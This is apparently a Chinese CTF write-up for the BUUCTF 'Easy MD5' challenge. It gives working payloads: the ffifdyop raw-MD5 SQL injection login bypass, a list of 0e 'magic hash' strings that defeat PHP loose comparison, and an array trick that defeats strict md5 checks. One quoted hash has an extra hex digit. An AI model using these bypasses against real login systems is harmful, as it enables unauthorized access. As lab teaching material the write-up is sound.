【BUUCTF】Easy MD5
【BUUCTF】Easy MD5 (SQL注入、PHP代码审计)
题目来源
收录于:BUUCTF BJDCTF2020
题目描述
抓包得到提示
select * from 'admin' where password=md5($pass,true)
题解
第一关
这是一个SQL注入点,但是有md5()
过滤。这里有知识点:mysql会把十六进制数据解析为字符串。
给$pass
赋值ffifdyop
,md5($pass)的值为276f722736c95d99e921722cf9ed621c1
,其对应的字符串为'or'6<乱码>'
,拼合后的语句
select * from 'admin' where password='' or '6xxxxx'
PHP会删除乱码进行传参,即可成功绕过
第二关
使用==
若比较,在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。
0e
在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
这是几个md5值以0e
开头的字符串
QNKCDZO
s878926199a
s155964671a
s214587387a
s1091221200a
s1885207154a
s1502113478a
s1836677006a
s1184209335a
s1665632922a
任意选取两个赋值给$a
和$b
即可。
第三关
payload:
param1[]=1¶m2[]=2
在PHP中,对于md5()
,如果传入的两个参数不是字符串,而是数组,md5()
函数无法解出其数值,而且不会报错,就会得到强比较的值相等
总结
对于查询语句
select * from 'admin' where password=md5($pass,true)
给$pass
赋值为:ffifdyop
对于判断
if($a != $b && md5($a) == md5($b))
令$a
和$b
分别随意取以下的两个值即可
QNKCDZO
s878926199a
s155964671a
s214587387a
s1091221200a
s1885207154a
s1502113478a
s1836677006a
s1184209335a
s1665632922a
对于判断
if($a !== $b && md5($a) === md5($b))
使用数组绕过,payload:
a[]=1&b[]=2